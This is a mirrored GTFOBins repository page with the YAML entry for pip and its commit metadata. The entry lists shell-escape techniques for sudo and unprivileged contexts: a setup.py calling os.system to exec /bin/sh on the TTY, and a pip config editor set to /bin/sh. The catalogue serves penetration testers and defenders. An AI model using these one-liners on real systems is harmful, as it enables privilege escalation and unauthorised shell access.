1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/pip
raj3shp 2e2342d4f2 Add pip shell
Close #459.

Co-Authored-By: Andrea Cardaci <cyrus.and@gmail.com>
2026-01-17 12:57:42 +01:00

28 lines
708 B
Plaintext

---
functions:
inherit:
- code: |-
echo '...' >setup.py
pip install --break-system-packages .
comment: |-
This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).
Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example:
```
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
```
The `--break-system-packages` flag can be omitted in older systems.
contexts:
sudo:
unprivileged:
from: python
shell:
- code: |-
pip config --editor '/bin/sh -s' edit
contexts:
sudo:
unprivileged:
...